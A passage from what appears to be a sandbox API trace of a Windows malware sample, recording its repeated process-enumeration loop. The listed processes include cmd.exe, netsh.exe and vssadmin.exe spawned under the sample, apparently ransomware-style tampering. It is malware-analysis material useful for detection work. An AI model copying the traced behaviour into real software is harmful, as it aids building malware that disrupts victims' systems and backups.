th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0203.528] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0203.529] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0203.529] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0203.529] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0203.530] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0203.530] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0203.530] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0203.531] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0203.531] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0203.531] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0203.532] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0203.532] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0203.532] Process32NextW (in: hSnapshot=0x1cc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0203.533] CloseHandle (hObject=0x1cc) returned 1 [0203.533] Sleep (dwMilliseconds=0x1f4) [0204.098] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0204.099] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.100] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0204.100] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0204.100] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.101] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0204.101] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.101] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0204.102] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0204.102] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0204.102] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0204.103] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.103] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.103] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.104] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.104] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.105] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0204.105] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.106] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.106] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0204.106] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0204.107] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0204.107] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0204.107] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.108] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0204.108] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0204.108] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0204.109] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0204.109] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0204.110] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0204.110] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0204.110] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0204.111] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0204.111] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0204.111] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0204.112] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0204.112] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0204.112] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0204.113] CloseHandle (hObject=0x1a8) returned 1 [0204.113] Sleep (dwMilliseconds=0x1f4) [0204.763] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0204.765] Process32FirstW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0204.766] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0204.766] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0204.767] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.767] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0204.768] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0204.768] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0204.769] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0204.769] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0204.770] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0204.770] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.770] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.771] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.771] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.772] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.772] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0204.773] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.773] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.773] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0204.774] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0204.774] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0204.775] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0204.775] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0204.776] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0204.776] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0204.777] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0204.777] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0204.778] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0204.778] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0204.778] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0204.779] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, 